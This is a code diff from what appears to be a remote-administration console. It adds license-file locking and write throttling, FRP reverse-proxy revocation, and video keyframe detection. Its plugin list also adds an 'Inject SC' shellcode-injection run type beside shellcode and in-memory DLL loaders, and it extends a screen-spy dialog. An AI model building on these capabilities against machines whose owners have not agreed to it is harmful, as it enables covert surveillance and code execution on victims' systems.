int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
|
||||||
|
if (existingFrpConfig.empty() && existingPort <= 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 二次确认(撤销后下级下次上线即丢失反向代理通道)
|
||||||
|
CString confirm;
|
||||||
|
confirm.FormatL("确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。",
|
||||||
|
lic.SerialNumber.c_str(), existingPort);
|
||||||
|
if (MessageBox(confirm, _TR("撤销 FRP 配置"),
|
||||||
|
MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 先释放 frp_ports.ini 中的端口占用(仅当归属仍为本 SN 时才释放)。
|
||||||
|
// 顺序:先释放端口,再清 FrpConfig —— 即便后一步失败,端口也已可被复用,
|
||||||
|
// 不会留下"FrpConfig 还在但端口已挂账"的悬空状态。
|
||||||
|
if (existingPort > 0) {
|
||||||
|
FreeFrpPortAllocation(existingPort, lic.SerialNumber);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清除 licenses.ini 中该授权的 FrpConfig 字段
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
std::string iniPath = GetLicensesPath();
|
||||||
|
config cfg(iniPath);
|
||||||
|
cfg.SetStr(lic.SerialNumber, "FrpConfig", "");
|
||||||
|
}
|
||||||
|
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。",
|
||||||
|
lic.SerialNumber.c_str(), existingPort);
|
||||||
|
MessageBox(msg, _TR("撤销成功"), MB_OK | MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
|||||||
@@ -97,10 +97,12 @@ public:
|
|||||||
afx_msg void OnLicenseEditRemark();
|
afx_msg void OnLicenseEditRemark();
|
||||||
afx_msg void OnLicenseViewIPs();
|
afx_msg void OnLicenseViewIPs();
|
||||||
afx_msg void OnLicenseDelete();
|
afx_msg void OnLicenseDelete();
|
||||||
|
afx_msg void OnLicenseAutoFrp();
|
||||||
|
afx_msg void OnLicenseRevokeFrp();
|
||||||
};
|
};
|
||||||
|
|
||||||
// 获取所有授权信息
|
// 获取所有授权信息
|
||||||
std::vector<LicenseInfo> GetAllLicenses();
|
std::vector<LicenseInfo> GetAllLicenses(int *activeNum=0);
|
||||||
|
|
||||||
// 更新授权状态
|
// 更新授权状态
|
||||||
bool SetLicenseStatus(const std::string& deviceID, const std::string& status);
|
bool SetLicenseStatus(const std::string& deviceID, const std::string& status);
|
||||||
|
|||||||
@@ -14,11 +14,65 @@
|
|||||||
#include "InputDlg.h"
|
#include "InputDlg.h"
|
||||||
#include "FrpsForSubDlg.h"
|
#include "FrpsForSubDlg.h"
|
||||||
#include "UIBranding.h"
|
#include "UIBranding.h"
|
||||||
|
#include <unordered_map>
|
||||||
|
#include <ctime>
|
||||||
|
|
||||||
// 外部函数声明
|
// 外部函数声明
|
||||||
extern std::vector<std::string> splitString(const std::string& str, char delimiter);
|
extern std::vector<std::string> splitString(const std::string& str, char delimiter);
|
||||||
extern std::string GetFirstMasterIP(const std::string& master);
|
extern std::string GetFirstMasterIP(const std::string& master);
|
||||||
|
|
||||||
|
// ---- licenses.ini 并发与写抑制基础设施 (P1) ----
|
||||||
|
// 见 CPasswordDlg.h 中 LicensesIniMutex() 注释。这里给出实例。
|
||||||
|
std::recursive_mutex& LicensesIniMutex()
|
||||||
|
{
|
||||||
|
static std::recursive_mutex m;
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
// UpdateLicenseActivity 的写抑制缓存:仅当字段实际变化或节流过期时才落盘。
|
||||||
|
//
|
||||||
|
// ⚠️ Cache key 是 "SN|IP|machine" 三元组而非单 SN,因为同一 SN 可能被多个客户端
|
||||||
|
// 共用(团购授权场景:上百台机器共用一个序列号)。若按 SN 索引,多客户端的
|
||||||
|
// (IP, machine) 会在 cache 里反复互相覆盖 → ipChanged 几乎每次都为 true →
|
||||||
|
// 写抑制完全失效(实测从 0.6 次/秒只降到 0.7 次/秒)。
|
||||||
|
//
|
||||||
|
// 5s 心跳 × 100 客户端,每客户端独立 30s 节流后 → 100/30 ≈ 3.3 次落盘/秒。
|
||||||
|
// Passcode/HMAC 是 per-SN 的,按本结构会在每个客户端的 entry 里冗余存一份,
|
||||||
|
// 续期换码时所有客户端会各自触发一次重写(写入同一新值),冗余但无害。
|
||||||
|
struct LicenseActivityCache {
|
||||||
|
time_t lastFlushTime = 0; // 上次实际落盘的 epoch 秒
|
||||||
|
std::string lastPasscode; // 上次写入 ini 的 Passcode
|
||||||
|
std::string lastHMAC; // 上次写入 ini 的 HMAC
|
||||||
|
std::string lastLocation; // 上次写入 ini 的 Location
|
||||||
|
std::string lastIPWriteDate; // 上次写 IP 列表时的日期 yyMMdd
|
||||||
|
};
|
||||||
|
// Key 格式:"SN|IP|machine"。IP/machine 可能为空(ctx == null 路径),
|
||||||
|
// 此时 key 形如 "SN||" —— 该路径自成一类节流域,互不干扰。
|
||||||
|
std::unordered_map<std::string, LicenseActivityCache> g_activityCache;
|
||||||
|
|
||||||
|
// 30 秒节流窗口:LastActiveTime 最多 30 秒落盘一次(即便其它字段未变)。
|
||||||
|
// UI 显示的"最后活跃"最多延迟 30 秒,业务可接受。
|
||||||
|
constexpr int LAST_ACTIVE_THROTTLE_SECONDS = 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 由 DeleteLicense 等"在 cache 视野外修改了 disk"的路径调用,清掉某 SN 名下所有
|
||||||
|
// (IP, machine) entry,强制下次 UpdateLicenseActivity 走 firstTime 路径重建 section。
|
||||||
|
// Cache key 形如 "SN|IP|machine",同一 SN 可能对应多个 entry(多客户端共用授权),
|
||||||
|
// 必须按前缀遍历清除。
|
||||||
|
void InvalidateLicenseActivityCache(const std::string& deviceID)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
const std::string prefix = deviceID + "|";
|
||||||
|
for (auto it = g_activityCache.begin(); it != g_activityCache.end(); ) {
|
||||||
|
if (it->first.compare(0, prefix.size(), prefix) == 0) {
|
||||||
|
it = g_activityCache.erase(it);
|
||||||
|
} else {
|
||||||
|
++it;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// CPasswordDlg 对话框
|
// CPasswordDlg 对话框
|
||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
||||||
@@ -105,6 +159,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
|
|||||||
const std::string& authorization,
|
const std::string& authorization,
|
||||||
const std::string& frpConfig)
|
const std::string& frpConfig)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -146,6 +201,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
|
|||||||
bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
||||||
std::string& hmac, std::string& remark)
|
std::string& hmac, std::string& remark)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -161,6 +217,7 @@ bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
|||||||
// 加载授权的 FRP 配置
|
// 加载授权的 FRP 配置
|
||||||
std::string LoadLicenseFrpConfig(const std::string& deviceID)
|
std::string LoadLicenseFrpConfig(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
return cfg.GetStr(deviceID, "FrpConfig", "");
|
return cfg.GetStr(deviceID, "FrpConfig", "");
|
||||||
@@ -169,6 +226,7 @@ std::string LoadLicenseFrpConfig(const std::string& deviceID)
|
|||||||
// 加载授权的 Authorization(用于 V2 授权返回给第一层)
|
// 加载授权的 Authorization(用于 V2 授权返回给第一层)
|
||||||
std::string LoadLicenseAuthorization(const std::string& deviceID)
|
std::string LoadLicenseAuthorization(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
return cfg.GetStr(deviceID, "Authorization", "");
|
return cfg.GetStr(deviceID, "Authorization", "");
|
||||||
@@ -177,6 +235,7 @@ std::string LoadLicenseAuthorization(const std::string& deviceID)
|
|||||||
// 更新授权的 Authorization(V2 续期时更新)
|
// 更新授权的 Authorization(V2 续期时更新)
|
||||||
bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization)
|
bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -313,59 +372,115 @@ static int GetIPCount(const std::string& ipListStr)
|
|||||||
return (int)ipList.size();
|
return (int)ipList.size();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新授权活跃信息
|
// 更新授权活跃信息(带写抑制)
|
||||||
|
//
|
||||||
|
// 设计要点:心跳每 5 秒触发一次本函数;同样的 SN 在稳态下绝大多数字段不会变化。
|
||||||
|
// 朴素实现每次心跳都做 6-8 次 SetStr (整文件重写),5 秒就是一轮全文件 I/O 风暴,
|
||||||
|
// 100 在线时会饱和。本实现引入 in-memory 缓存 g_activityCache:
|
||||||
|
// - 字段未变化 + LastActiveTime 节流窗口(30 秒)内 → 直接 return,零 I/O
|
||||||
|
// - 字段变化(passcode/HMAC/IP/Location 任一)→ 仅写变化字段
|
||||||
|
// - 节流过期 → 只写 LastActiveTime(轻量刷新)
|
||||||
|
// - IP 列表中的时间戳是日级精度(yyMMdd),跨天必须重写一次以刷新日期
|
||||||
|
//
|
||||||
|
// 注意:仅在落盘成功后才更新 cache,保证 cache 永远反映"磁盘上当前值"。
|
||||||
bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
|
bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
|
||||||
const std::string& hmac, const std::string& ip,
|
const std::string& hmac, const std::string& ip,
|
||||||
const std::string& location, const std::string& machineName)
|
const std::string& location, const std::string& machineName)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
|
||||||
|
// Cache key 是 (SN, IP, machine) 三元组 —— 同 SN 多客户端共用授权时各自独立节流。
|
||||||
|
// 若同 SN 不同 (ip, machine) 共用一个 cache entry,IP 字段会在不同客户端间反复
|
||||||
|
// 翻转,每次心跳都判定为 ipChanged → 写抑制完全失效。
|
||||||
|
const std::string cacheKey = deviceID + "|" + ip + "|" + machineName;
|
||||||
|
auto& cache = g_activityCache[cacheKey];
|
||||||
|
time_t now = time(nullptr);
|
||||||
|
|
||||||
|
// 计算今日日期串(yyMMdd),用于和 IP 列表时间戳比对
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char today[8];
|
||||||
|
sprintf_s(today, "%02d%02d%02d", st.wYear % 100, st.wMonth, st.wDay);
|
||||||
|
|
||||||
|
// —— 决策阶段:判断本次心跳是否真的需要落盘 ——
|
||||||
|
// 注意:因 cacheKey 已经包含 (IP, machine),不同的客户端会落到不同 entry,
|
||||||
|
// 所以不再需要在字段比对中处理 IP/machine 变化 —— 那种"变化"其实是 cache miss。
|
||||||
|
const bool firstTime = (cache.lastFlushTime == 0);
|
||||||
|
const bool passcodeChanged = (passcode != cache.lastPasscode);
|
||||||
|
const bool hmacChanged = (hmac != cache.lastHMAC);
|
||||||
|
const bool ipDayChanged = !ip.empty() && !cache.lastIPWriteDate.empty() &&
|
||||||
|
std::string(today) != cache.lastIPWriteDate;
|
||||||
|
const bool locationChanged = !location.empty() && (location != cache.lastLocation);
|
||||||
|
const bool throttleExpired = (now - cache.lastFlushTime >= LAST_ACTIVE_THROTTLE_SECONDS);
|
||||||
|
|
||||||
|
if (!firstTime && !passcodeChanged && !hmacChanged
|
||||||
|
&& !ipDayChanged && !locationChanged && !throttleExpired) {
|
||||||
|
// 100% cache 命中:本客户端的所有字段都与上次落盘一致且节流未过期
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// —— 落盘阶段:仅写真正需要写的字段 ——
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
// 检查该授权是否存在
|
// 检查该授权是否存在(注意:此处仍需读磁盘,因为我们不缓存"是否存在"的事实)
|
||||||
std::string existingPasscode = cfg.GetStr(deviceID, "Passcode", "");
|
std::string existingPasscode = cfg.GetStr(deviceID, "Passcode", "");
|
||||||
if (existingPasscode.empty()) {
|
const bool isNewRecord = existingPasscode.empty();
|
||||||
// 授权不存在,但验证成功了,说明是既往授权,自动添加记录
|
|
||||||
|
if (isNewRecord) {
|
||||||
|
// 授权不存在但验证成功 —— 既往授权自动加入
|
||||||
cfg.SetStr(deviceID, "SerialNumber", deviceID);
|
cfg.SetStr(deviceID, "SerialNumber", deviceID);
|
||||||
cfg.SetStr(deviceID, "Passcode", passcode);
|
cfg.SetStr(deviceID, "Passcode", passcode);
|
||||||
cfg.SetStr(deviceID, "HMAC", hmac);
|
cfg.SetStr(deviceID, "HMAC", hmac);
|
||||||
cfg.SetStr(deviceID, "Remark", "既往授权自动加入");
|
cfg.SetStr(deviceID, "Remark", "既往授权自动加入");
|
||||||
cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE); // 新记录默认为有效
|
cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
|
||||||
} else {
|
} else {
|
||||||
// 授权已存在,更新 passcode(续期后 passcode 会变化)
|
// 已存在:只在 passcode/hmac 实际变化时才写(续期场景才会变)
|
||||||
cfg.SetStr(deviceID, "Passcode", passcode);
|
if (firstTime || passcodeChanged) {
|
||||||
cfg.SetStr(deviceID, "HMAC", hmac);
|
cfg.SetStr(deviceID, "Passcode", passcode);
|
||||||
|
}
|
||||||
|
if (firstTime || hmacChanged) {
|
||||||
|
cfg.SetStr(deviceID, "HMAC", hmac);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新最后活跃时间
|
// LastActiveTime:走到这里就更新(节流过期或字段变化都需要刷新)
|
||||||
SYSTEMTIME st;
|
|
||||||
GetLocalTime(&st);
|
|
||||||
char timeStr[32];
|
char timeStr[32];
|
||||||
sprintf_s(timeStr, "%04d-%02d-%02d %02d:%02d:%02d",
|
sprintf_s(timeStr, "%04d-%02d-%02d %02d:%02d:%02d",
|
||||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||||
cfg.SetStr(deviceID, "LastActiveTime", timeStr);
|
cfg.SetStr(deviceID, "LastActiveTime", timeStr);
|
||||||
|
|
||||||
// 如果是新添加的记录,设置创建时间
|
if (isNewRecord) {
|
||||||
if (existingPasscode.empty()) {
|
|
||||||
cfg.SetStr(deviceID, "CreateTime", timeStr);
|
cfg.SetStr(deviceID, "CreateTime", timeStr);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新 IP 列表(追加新 IP 或更新已有 IP 的时间戳)
|
// IP 列表:本客户端首次 或 同客户端跨天 才重写(UpdateIPList 会在 disk 上合并)
|
||||||
// 格式: IP(机器名)|yyMMdd
|
if (!ip.empty() && (firstTime || ipDayChanged)) {
|
||||||
if (!ip.empty()) {
|
|
||||||
std::string existingIPList = cfg.GetStr(deviceID, "IP", "");
|
std::string existingIPList = cfg.GetStr(deviceID, "IP", "");
|
||||||
std::string newIPList = UpdateIPList(existingIPList, ip, machineName);
|
std::string newIPList = UpdateIPList(existingIPList, ip, machineName);
|
||||||
cfg.SetStr(deviceID, "IP", newIPList);
|
cfg.SetStr(deviceID, "IP", newIPList);
|
||||||
|
cache.lastIPWriteDate = today;
|
||||||
}
|
}
|
||||||
if (!location.empty()) {
|
|
||||||
|
if (!location.empty() && (firstTime || locationChanged)) {
|
||||||
cfg.SetStr(deviceID, "Location", location);
|
cfg.SetStr(deviceID, "Location", location);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// —— 同步缓存(必须在落盘成功后)——
|
||||||
|
cache.lastFlushTime = now;
|
||||||
|
cache.lastPasscode = passcode;
|
||||||
|
cache.lastHMAC = hmac;
|
||||||
|
if (!location.empty()) {
|
||||||
|
cache.lastLocation = location;
|
||||||
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查授权是否已被撤销
|
// 检查授权是否已被撤销
|
||||||
bool IsLicenseRevoked(const std::string& deviceID)
|
bool IsLicenseRevoked(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
std::string status = cfg.GetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
|
std::string status = cfg.GetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
|
||||||
|
|||||||
@@ -2,10 +2,23 @@
|
|||||||
|
|
||||||
#include <afx.h>
|
#include <afx.h>
|
||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
|
#include <mutex>
|
||||||
#include "Resource.h"
|
#include "Resource.h"
|
||||||
#include "common/commands.h"
|
#include "common/commands.h"
|
||||||
#include "LangManager.h"
|
#include "LangManager.h"
|
||||||
|
|
||||||
|
// 全局 licenses.ini 互斥锁(Meyers singleton,跨翻译单元共享)。
|
||||||
|
// 所有读写 licenses.ini 的函数入口必须加锁,否则在心跳并发下会出现
|
||||||
|
// read-modify-write 丢更新(典型受害者:PendingQuota / IP 列表)。
|
||||||
|
// 使用 recursive_mutex 是因为部分函数会嵌套调用(如 DecrementPendingQuota → ClearPendingRenewal)。
|
||||||
|
std::recursive_mutex& LicensesIniMutex();
|
||||||
|
|
||||||
|
// 让 UpdateLicenseActivity 内部缓存里某个 SN 的 entry 失效。
|
||||||
|
// 必须在外部修改了授权(删除 / 重新创建 section)后调用,否则 cache 命中策略
|
||||||
|
// 会跳过本应触发的"既往授权自动加入"路径,导致 disk 上的 section 不会重建。
|
||||||
|
// 实现在 CPasswordDlg.cpp,需持 LicensesIniMutex(内部会自行加锁,可在已加锁线程嵌套调用)。
|
||||||
|
void InvalidateLicenseActivityCache(const std::string& deviceID);
|
||||||
|
|
||||||
// CPasswordDlg 对话框
|
// CPasswordDlg 对话框
|
||||||
namespace TcpClient {
|
namespace TcpClient {
|
||||||
std::string ObfuscateAuthorization(const std::string& auth);
|
std::string ObfuscateAuthorization(const std::string& auth);
|
||||||
|
|||||||
@@ -100,15 +100,17 @@ SNMatchResult ValidateLicenseSN(const std::string& licenseSN) {
|
|||||||
}
|
}
|
||||||
return SNMatchResult::IPMismatch;
|
return SNMatchResult::IPMismatch;
|
||||||
} else {
|
} else {
|
||||||
// Hardware binding: check if matches current device ID
|
// 哈希 SN:源头由本机 BindType 决定(硬件 ID 或 master/公网 IP)。
|
||||||
// Use GetHardwareID() to respect HWIDVersion (V1 or V2)
|
// 接收机在生成 SN 时已配置好 BindType,这里直接读 settings 即可,
|
||||||
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(0);
|
// 不能硬编码 0,否则 IP 绑定的授权会被误判为硬件不匹配。
|
||||||
|
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID();
|
||||||
std::string hashedID = hashSHA256(hardwareID);
|
std::string hashedID = hashSHA256(hardwareID);
|
||||||
std::string currentDeviceID = getFixedLengthID(hashedID);
|
std::string currentDeviceID = getFixedLengthID(hashedID);
|
||||||
if (licenseSN == currentDeviceID) {
|
if (licenseSN == currentDeviceID) {
|
||||||
return SNMatchResult::Match;
|
return SNMatchResult::Match;
|
||||||
}
|
}
|
||||||
return SNMatchResult::HardwareMismatch;
|
int bindType = THIS_CFG.GetInt("settings", "BindType", 0);
|
||||||
|
return (bindType == 1) ? SNMatchResult::IPMismatch : SNMatchResult::HardwareMismatch;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
|
|||||||
{
|
{
|
||||||
m_listPlugins.DeleteAllItems();
|
m_listPlugins.DeleteAllItems();
|
||||||
|
|
||||||
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
|
const char* runTypeNames[] = { "Shellcode", "内存DLL", "Inject SC"};
|
||||||
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
|
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
|
||||||
|
|
||||||
int index = 0;
|
int index = 0;
|
||||||
|
|||||||
@@ -18,6 +18,7 @@
|
|||||||
#include <md5.h>
|
#include <md5.h>
|
||||||
#include <cstdint> // for uint16_t
|
#include <cstdint> // for uint16_t
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
#include <mutex> // for std::mutex, std::lock_guard
|
||||||
#include "WebService.h"
|
#include "WebService.h"
|
||||||
|
|
||||||
// 文件接收消息数据结构
|
// 文件接收消息数据结构
|
||||||
@@ -43,6 +44,66 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
|||||||
|
|
||||||
#define TIMER_ID 132
|
#define TIMER_ID 132
|
||||||
|
|
||||||
|
// H.264 Annex B keyframe 探测:扫描 start code (00 00 01 / 00 00 00 01),
|
||||||
|
// 取后续 NAL header low 5 bits,命中 5 (IDR) / 7 (SPS) / 8 (PPS) 即认定为关键帧。
|
||||||
|
static bool IsH264Keyframe(const uint8_t* data, size_t len)
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i + 4 < len; ++i) {
|
||||||
|
size_t nalOffset = 0;
|
||||||
|
if (data[i] == 0 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 1) {
|
||||||
|
nalOffset = i + 4;
|
||||||
|
} else if (data[i] == 0 && data[i+1] == 0 && data[i+2] == 1) {
|
||||||
|
nalOffset = i + 3;
|
||||||
|
} else {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (nalOffset >= len) continue;
|
||||||
|
uint8_t nalType = data[nalOffset] & 0x1F;
|
||||||
|
if (nalType == 5 || nalType == 7 || nalType == 8) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// AV1 OBU keyframe 探测:扫描 OBU 链,遇到 OBU_SEQUENCE_HEADER (type 1) 即认定为关键帧。
|
||||||
|
// FFmpeg AV1 编码器在每个 IDR 前必定插入 SEQ HDR,因此该判定与 H.264 NAL 5/7/8 语义对齐。
|
||||||
|
static bool IsAv1Keyframe(const uint8_t* data, size_t len)
|
||||||
|
{
|
||||||
|
size_t pos = 0;
|
||||||
|
while (pos < len) {
|
||||||
|
uint8_t hdr = data[pos];
|
||||||
|
uint8_t obu_type = (hdr >> 3) & 0x0F;
|
||||||
|
bool has_ext = (hdr & 0x04) != 0;
|
||||||
|
bool has_size = (hdr & 0x02) != 0;
|
||||||
|
if (obu_type == 1 /*OBU_SEQUENCE_HEADER*/) return true;
|
||||||
|
pos++;
|
||||||
|
if (has_ext) {
|
||||||
|
if (pos >= len) return false;
|
||||||
|
pos++;
|
||||||
|
}
|
||||||
|
if (!has_size) return false; // 无 size 字段:OBU 占满到包尾,无法继续解析
|
||||||
|
// LEB128 size
|
||||||
|
uint64_t sz = 0;
|
||||||
|
for (int i = 0; i < 8; ++i) {
|
||||||
|
if (pos >= len) return false;
|
||||||
|
uint8_t b = data[pos++];
|
||||||
|
sz |= (uint64_t)(b & 0x7F) << (7 * i);
|
||||||
|
if ((b & 0x80) == 0) break;
|
||||||
|
}
|
||||||
|
if (pos + sz > len) return false;
|
||||||
|
pos += (size_t)sz;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 首字节嗅探:H.264 Annex B 首字节恒为 0x00(起始码);AV1 OBU header 首字节
|
||||||
|
// bit7=0、bits[3:6]=obu_type 1-15,典型值 0x08-0x78,绝不为 0x00。
|
||||||
|
// 一字节即可干净区分两套码流,无需协议字段或编码端协商。
|
||||||
|
static bool IsAnyKeyframe(const uint8_t* data, size_t len)
|
||||||
|
{
|
||||||
|
if (len == 0) return false;
|
||||||
|
return data[0] == 0x00 ? IsH264Keyframe(data, len) : IsAv1Keyframe(data, len);
|
||||||
|
}
|
||||||
|
|
||||||
// 静态成员变量定义
|
// 静态成员变量定义
|
||||||
int CScreenSpyDlg::s_nFastStretch = -1; // -1 表示未初始化
|
int CScreenSpyDlg::s_nFastStretch = -1; // -1 表示未初始化
|
||||||
|
|
||||||
@@ -163,6 +224,8 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
|
|||||||
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||||
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
||||||
|
// 透传客户端初始的音频开/关状态给 web,让前端按钮显示正确
|
||||||
|
WebService().NotifyAudioState(m_ClientID, m_Settings.AudioEnabled != 0);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -507,6 +570,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
|||||||
ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone)
|
ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone)
|
||||||
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
|
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
|
||||||
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
|
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
|
||||||
|
ON_MESSAGE(WM_AUDIO_TOGGLE_FROM_WEB, &CScreenSpyDlg::OnAudioToggleFromWeb)
|
||||||
ON_WM_DROPFILES()
|
ON_WM_DROPFILES()
|
||||||
ON_WM_CAPTURECHANGED()
|
ON_WM_CAPTURECHANGED()
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
@@ -675,6 +739,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
// 音频菜单项
|
// 音频菜单项
|
||||||
SysMenu->AppendMenuL(MF_STRING, IDM_AUDIO_TOGGLE, "系统音频(&U)");
|
SysMenu->AppendMenuL(MF_STRING, IDM_AUDIO_TOGGLE, "系统音频(&U)");
|
||||||
SysMenu->CheckMenuItem(IDM_AUDIO_TOGGLE, m_Settings.AudioEnabled ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_AUDIO_TOGGLE, m_Settings.AudioEnabled ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_H264_HARD, "启用 H264 硬编码");
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
SysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_AV1_HARD, "启用 AV1 硬编码");
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
|
||||||
// 初始化勾选状态
|
// 初始化勾选状态
|
||||||
UpdateQualityMenuCheck(SysMenu);
|
UpdateQualityMenuCheck(SysMenu);
|
||||||
